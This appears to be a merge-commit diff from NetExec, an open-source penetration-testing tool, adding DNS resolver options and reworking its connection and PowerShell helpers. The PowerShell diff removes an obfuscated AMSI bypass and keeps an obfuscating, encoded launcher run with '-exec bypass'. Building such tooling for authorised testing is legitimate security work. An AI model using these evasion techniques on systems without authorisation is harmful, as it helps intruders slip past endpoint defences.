Merge branch 'Pennyw0rth:main' into timeroast_module

Author: Disgame

…/ISSUE_TEMPLATE/pull_request_template.md …EQUEST_TEMPLATE/pull_request_template.md.github/ISSUE_TEMPLATE/pull_request_template.md renamed to .github/PULL_REQUEST_TEMPLATE/pull_request_template.md .github/ISSUE_TEMPLATE/pull_request_template.md renamed to .github/PULL_REQUEST_TEMPLATE/pull_request_template.md

@@ -52,6 +52,12 @@ def gen_cli_args():
     parser.add_argument("--debug", action="store_true", help="enable debug level information")
     parser.add_argument("--version", action="store_true", help="Display nxc version")
 
+    dns_parser = parser.add_argument_group("DNS")
+    dns_parser.add_argument("-6", dest="force_ipv6", action="store_true", help="Enable force IPv6")
+    dns_parser.add_argument("--dns-server", action="store", help="Specify DNS server (default: Use hosts file & System DNS)")
+    dns_parser.add_argument("--dns-tcp", action="store_true", help="Use TCP instead of UDP for DNS queries")
+    dns_parser.add_argument("--dns-timeout", action="store", type=int, default=3, help="DNS query timeout in seconds (default: %(default)s)")
+
     # we do module arg parsing here so we can reference the module_list attribute below
     module_parser = argparse.ArgumentParser(add_help=False)
     mgroup = module_parser.add_mutually_exclusive_group()
@@ -78,7 +84,7 @@ def gen_cli_args():
     std_parser.add_argument("--use-kcache", action="store_true", help="Use Kerberos authentication from ccache file (KRB5CCNAME)")
     std_parser.add_argument("--log", metavar="LOG", help="Export result into a custom file")
     std_parser.add_argument("--aesKey", metavar="AESKEY", nargs="+", help="AES key to use for Kerberos Authentication (128 or 256 bits)")
-    std_parser.add_argument("--kdcHost", metavar="KDCHOST", help="FQDN of the domain controller. If omitted it will use the domain part (FQDN) specified in the target parameter")
+    std_parser.add_argument("--kdcHost", metavar="KDCHOST", help="IP Address of the domain controller. If omitted it will use the domain part (FQDN) specified in the target parameter")
 
     fail_group = std_parser.add_mutually_exclusive_group()
     fail_group.add_argument("--gfail-limit", metavar="LIMIT", type=int, help="max number of global failed login attempts")

nxc/cli.py

@@ -4,6 +4,7 @@
 from functools import wraps
 from time import sleep
 from ipaddress import ip_address
+from dns import resolver, rdatatype
 from socket import AF_UNSPEC, SOCK_DGRAM, IPPROTO_IP, AI_CANONNAME, getaddrinfo
 
 from nxc.config import pwned_label
@@ -22,23 +23,63 @@
 user_failed_logins = {}
 
 
-def gethost_addrinfo(hostname):
-    is_ipv6 = False
-    is_link_local_ipv6 = False
+def get_host_addr_info(target, force_ipv6, dns_server, dns_tcp, dns_timeout):
+    result = {
+        "host": "",
+        "is_ipv6": False,
+        "is_link_local_ipv6": False
+    }
     address_info = {"AF_INET6": "", "AF_INET": ""}
 
-    for res in getaddrinfo(hostname, None, AF_UNSPEC, SOCK_DGRAM, IPPROTO_IP, AI_CANONNAME):
-        af, _, _, canonname, sa = res
-        address_info[af.name] = sa[0]
+    try:
+        if ip_address(target).version == 4:
+            address_info["AF_INET"] = target
+        else:
+            address_info["AF_INET6"] = target
+    except Exception:
+        # If the target is not an IP address, we need to resolve it
+        if not (dns_server or dns_tcp):
+            for res in getaddrinfo(target, None, AF_UNSPEC, SOCK_DGRAM, IPPROTO_IP, AI_CANONNAME):
+                af, _, _, canonname, sa = res
+                address_info[af.name] = sa[0]
+
+            if address_info["AF_INET6"] and ip_address(address_info["AF_INET6"]).is_link_local:
+                address_info["AF_INET6"] = canonname
+                result["is_link_local_ipv6"] = True
+        else:
+            dnsresolver = resolver.Resolver()
+            dnsresolver.timeout = dns_timeout
+            dnsresolver.lifetime = dns_timeout
+
+            if dns_server:
+                dnsresolver.nameservers = [dns_server]
+
+            try:
+                answers_ipv4 = dnsresolver.resolve(target, rdatatype.A, raise_on_no_answer=False, tcp=dns_tcp)
+                address_info["AF_INET"] = answers_ipv4[0].address
+            except Exception:
+                pass
+
+            try:
+                answers_ipv6 = dnsresolver.resolve(target, rdatatype.AAAA, raise_on_no_answer=False, tcp=dns_tcp)
+                address_info["AF_INET6"] = answers_ipv6[0].address
+
+                if address_info["AF_INET6"] and ip_address(address_info["AF_INET6"]).is_link_local:
+                    result["is_link_local_ipv6"] = True
+            except Exception:
+                pass
+
+    if not (address_info["AF_INET"] or address_info["AF_INET6"]):
+        raise Exception(f"The DNS query name does not exist: {target}")
 
     # IPv4 preferred
-    if address_info["AF_INET"]:
-        host = address_info["AF_INET"]
+    if address_info["AF_INET"] and not force_ipv6:
+        result["host"] = address_info["AF_INET"]
     else:
-        is_ipv6 = True
-        host, is_link_local_ipv6 = (canonname, True) if ip_address(address_info["AF_INET6"]).is_link_local else (address_info["AF_INET6"], False)
+        result["is_ipv6"] = True
+        result["host"] = address_info["AF_INET6"]
 
-    return host, is_ipv6, is_link_local_ipv6
+    return result
 
 
 def requires_admin(func):
@@ -50,7 +91,7 @@ def _decorator(self, *args, **kwargs):
     return wraps(func)(_decorator)
 
 
-def dcom_FirewallChecker(iInterface, timeout):
+def dcom_FirewallChecker(iInterface, remoteHost, timeout):
     stringBindings = iInterface.get_cinstance().get_string_bindings()
     for strBinding in stringBindings:
         if strBinding["wTowerId"] == 7:
@@ -70,6 +111,7 @@ def dcom_FirewallChecker(iInterface, timeout):
         return True, None
     try:
         rpctransport = transport.DCERPCTransportFactory(stringBinding)
+        rpctransport.setRemoteHost(remoteHost)
         rpctransport.set_connect_timeout(timeout)
         rpctransport.connect()
         rpctransport.disconnect()
@@ -81,45 +123,67 @@ def dcom_FirewallChecker(iInterface, timeout):
 
 
 class connection:
-    def __init__(self, args, db, host):
-        self.domain = None
+    def __init__(self, args, db, target):
         self.args = args
         self.db = db
-        self.hostname = host
-        self.port = self.args.port
+        self.logger = nxc_logger
         self.conn = None
-        self.admin_privs = False
+
+        # Authentication info
         self.password = ""
         self.username = ""
         self.kerberos = bool(self.args.kerberos or self.args.use_kcache or self.args.aesKey)
         self.aesKey = None if not self.args.aesKey else self.args.aesKey[0]
-        self.kdcHost = None if not self.args.kdcHost else self.args.kdcHost
         self.use_kcache = None if not self.args.use_kcache else self.args.use_kcache
+        self.admin_privs = False
         self.failed_logins = 0
+
+        # Network info
+        self.domain = None
+        self.host = None            # IP address of the target. If kerberos this is the hostname
+        self.hostname = target      # Target info supplied by the user, may be an IP address or a hostname
+        self.remoteName = target    # hostname + domain, defaults to target if domain could not be resolved/not specified
+        self.kdcHost = self.args.kdcHost
+        self.port = self.args.port
         self.local_ip = None
-        self.logger = nxc_logger
 
-        try:
-            self.host, self.is_ipv6, self.is_link_local_ipv6 = gethost_addrinfo(self.hostname)
-            if self.args.kerberos:
-                self.host = self.hostname
-            self.logger.info(f"Socket info: host={self.host}, hostname={self.hostname}, kerberos={self.kerberos}, ipv6={self.is_ipv6}, link-local ipv6={self.is_link_local_ipv6}")
-        except Exception as e:
-            self.logger.info(f"Error resolving hostname {self.hostname}: {e}")
+        # DNS resolution
+        dns_result = self.resolver(target)
+        if dns_result:
+            self.host, self.is_ipv6, self.is_link_local_ipv6 = dns_result["host"], dns_result["is_ipv6"], dns_result["is_link_local_ipv6"]
+        else:
             return
 
+        if self.args.kerberos:
+            self.host = self.hostname
+
+        self.logger.info(f"Socket info: host={self.host}, hostname={self.hostname}, kerberos={self.kerberos}, ipv6={self.is_ipv6}, link-local ipv6={self.is_link_local_ipv6}")
+
         try:
             self.proto_flow()
         except Exception as e:
             if "ERROR_DEPENDENT_SERVICES_RUNNING" in str(e):
-                self.logger.error(f"Exception while calling proto_flow() on target {self.host}: {e}")
+                self.logger.error(f"Exception while calling proto_flow() on target {target}: {e}")
             else:
-                self.logger.exception(f"Exception while calling proto_flow() on target {self.host}: {e}")
+                self.logger.exception(f"Exception while calling proto_flow() on target {target}: {e}")
         finally:
-            self.logger.debug(f"Closing connection to: {host}")
+            self.logger.debug(f"Closing connection to: {target}")
             with contextlib.suppress(Exception):
                 self.conn.close()
 
+    def resolver(self, target):
+        try:
+            return get_host_addr_info(
+                target=target,
+                force_ipv6=self.args.force_ipv6,
+                dns_server=self.args.dns_server,
+                dns_tcp=self.args.dns_tcp,
+                dns_timeout=self.args.dns_timeout
+            )
+        except Exception as e:
+            self.logger.info(f"Error resolving hostname {target}: {e}")
+            return None
+
     @staticmethod
     def proto_args(std_parser, module_parser):
         return

nxc/connection.py

@@ -12,6 +12,20 @@
 
 obfuscate_ps_scripts = False
 
+def replace_singles(s):
+    """Replaces single quotes with a double quote
+    We do this because quoting is very important in PowerShell, and we are doing multiple layers:
+    Python, MSSQL, and PowerShell. We want to make sure that the command is properly quoted at each layer.
+
+    Args:
+    ----
+        s (str): The string to replace single quotes in.
+
+    Returns:
+    -------
+        str: Original string with single quotes replaced with double.
+    """
+    return s.replace("'", r"\"")
 
 def get_ps_script(path):
     """Generates a full path to a PowerShell script given a relative path.
@@ -108,91 +122,66 @@ def obfs_ps_script(path_to_script):
 
 
 
-def create_ps_command(ps_command, force_ps32=False, dont_obfs=False, custom_amsi=None):
+def create_ps_command(ps_command, force_ps32=False, obfs=False, custom_amsi=None, encode=True):
     """
     Generates a PowerShell command based on the provided `ps_command` parameter.
 
     Args:
     ----
         ps_command (str): The PowerShell command to be executed.
-
         force_ps32 (bool, optional): Whether to force PowerShell to run in 32-bit mode. Defaults to False.
-
-        dont_obfs (bool, optional): Whether to obfuscate the generated command. Defaults to False.
-
+        obfs (bool, optional): Whether to obfuscate the generated command. Defaults to False.
         custom_amsi (str, optional): Path to a custom AMSI bypass script. Defaults to None.
+        encode (bool, optional): Whether to encode the generated command (executed via -enc in PS). Defaults to True.
 
     Returns:
     -------
         str: The generated PowerShell command.
     """
+    nxc_logger.debug(f"Creating PS command parameters: {ps_command=}, {force_ps32=}, {obfs=}, {custom_amsi=}, {encode=}")
+    
     if custom_amsi:
+        nxc_logger.debug(f"Using custom AMSI bypass script: {custom_amsi}")
         with open(custom_amsi) as file_in:
             lines = list(file_in)
             amsi_bypass = "".join(lines)
     else:
-        amsi_bypass = """[Net.ServicePointManager]::ServerCertificateValidationCallback = {$true}
-try{
-[Ref].Assembly.GetType('Sys'+'tem.Man'+'agement.Aut'+'omation.Am'+'siUt'+'ils').GetField('am'+'siIni'+'tFailed', 'NonP'+'ublic,Sta'+'tic').SetValue($null, $true)
-}catch{}
-"""
-
-    command = amsi_bypass + f"\n$functions = {{\n    function Command-ToExecute\n    {{\n{amsi_bypass + ps_command}\n    }}\n}}\nif ($Env:PROCESSOR_ARCHITECTURE -eq 'AMD64')\n{{\n    $job = Start-Job -InitializationScript $functions -ScriptBlock {{Command-ToExecute}} -RunAs32\n    $job | Wait-Job\n}}\nelse\n{{\n    IEX \"$functions\"\n    Command-ToExecute\n}}\n" if force_ps32 else amsi_bypass + ps_command
+        amsi_bypass = ""
 
+    # for readability purposes, we do not do a one-liner
+    if force_ps32:  # noqa: SIM108
+        # https://stackoverflow.com/a/60155248
+        command = amsi_bypass + f"$functions = {{function Command-ToExecute{{{amsi_bypass + ps_command}}}}}; if ($Env:PROCESSOR_ARCHITECTURE -eq 'AMD64'){{$job = Start-Job -InitializationScript $functions -ScriptBlock {{Command-ToExecute}} -RunAs32; $job | Wait-Job | Receive-Job }} else {{IEX '$functions'; Command-ToExecute}}"
+    else:
+        command = f"{amsi_bypass} {ps_command}"
+    
     nxc_logger.debug(f"Generated PS command:\n {command}\n")
 
-    # We could obfuscate the initial launcher using Invoke-Obfuscation but because this function gets executed
-    # concurrently it would spawn a local powershell process per host which isn't ideal, until I figure out a good way
-    # of dealing with this  it will use the partial python implementation that I stole from GreatSCT
-    # (https://github.com/GreatSCT/GreatSCT) <3
-
-    """
-    if is_powershell_installed():
-
-        temp = tempfile.NamedTemporaryFile(prefix='nxc_',
-                                           suffix='.ps1',
-                                           dir='/tmp')
-        temp.write(command)
-        temp.read()
-
-        encoding_types = [1,2,3,4,5,6]
-        while True:
-            encoding = random.choice(encoding_types)
-            invoke_obfs_command = 'powershell -C \'Import-Module {};Invoke-Obfuscation -ScriptPath {} -Command "ENCODING,{}" -Quiet\''.format(get_ps_script('invoke-obfuscation/Invoke-Obfuscation.psd1'),
-                                                                                                                                              temp.name,
-                                                                                                                                              encoding)
-            nxc_logger.debug(invoke_obfs_command)
-            out = check_output(invoke_obfs_command, shell=True).split('\n')[4].strip()
-
-            command = 'powershell.exe -exec bypass -noni -nop -w 1 -C "{}"'.format(out)
-            nxc_logger.debug('Command length: {}'.format(len(command)))
-
-            if len(command) <= 8192:
-                temp.close()
-                break
-
-            encoding_types.remove(encoding)
-    
-    else:
-    """
-    if not dont_obfs:
+    if obfs:
+        nxc_logger.debug("Obfuscating PowerShell command")
         obfs_attempts = 0
         while True:
-            command = f'powershell.exe -exec bypass -noni -nop -w 1 -C "{invoke_obfuscation(command)}"'
+            nxc_logger.debug(f"Obfuscation attempt: {obfs_attempts + 1}")
+            obfs_command = invoke_obfuscation(command)
+            
+            command = f'powershell.exe -exec bypass -noni -nop -w 1 -C "{replace_singles(obfs_command)}"'
             if len(command) <= 8191:
                 break
-
             if obfs_attempts == 4:
                 nxc_logger.error(f"Command exceeds maximum length of 8191 chars (was {len(command)}). exiting.")
                 exit(1)
-
+            nxc_logger.debug(f"Obfuscation length too long with {len(command)}, trying again...")
             obfs_attempts += 1
     else:
-        command = f"powershell.exe -noni -nop -w 1 -enc {encode_ps_command(command)}"
+        # if we arent encoding or obfuscating anything, we quote the entire powershell in double quotes, otherwise the final powershell command will syntax error
+        command = f"-enc {encode_ps_command(command)}" if encode else f'"{command}"'
+        command = f"powershell.exe -noni -nop -w 1 {command}"
+        
         if len(command) > 8191:
             nxc_logger.error(f"Command exceeds maximum length of 8191 chars (was {len(command)}). exiting.")
             exit(1)
-
+            
+    nxc_logger.debug(f"Final command: {command}")
     return command
 
 
@@ -320,6 +309,7 @@ def invoke_obfuscation(script_string):
     -------
         str: The obfuscated payload for execution.
     """
+    nxc_logger.debug(f"Command before obfuscation: {script_string}")
     random_alphabet = "".join(random.choice([i.upper(), i]) for i in ascii_lowercase)
     random_delimiters = ["_", "-", ",", "{", "}", "~", "!", "@", "%", "&", "<", ">", ";", ":", *list(random_alphabet)]
 
@@ -436,5 +426,7 @@ def invoke_obfuscation(script_string):
         choice(["", " "]) + new_script + choice(["", " "]) + "|" + choice(["", " "]) + invoke_expression,
     ]
 
-    return choice(invoke_options)
+    obfuscated_script = choice(invoke_options)
+    nxc_logger.debug(f"Script after obfuscation: {obfuscated_script}")
+    return obfuscated_script
 

nxc/helpers/powershell.py

@@ -93,7 +93,8 @@ def __init__(self, extra=None):
         self.logger = logging.getLogger("nxc")
         self.extra = extra
         self.output_file = None
-
+        
+        logging.getLogger("impacket").disabled = True
         logging.getLogger("pypykatz").disabled = True
         logging.getLogger("minidump").disabled = True
         logging.getLogger("lsassy").disabled = True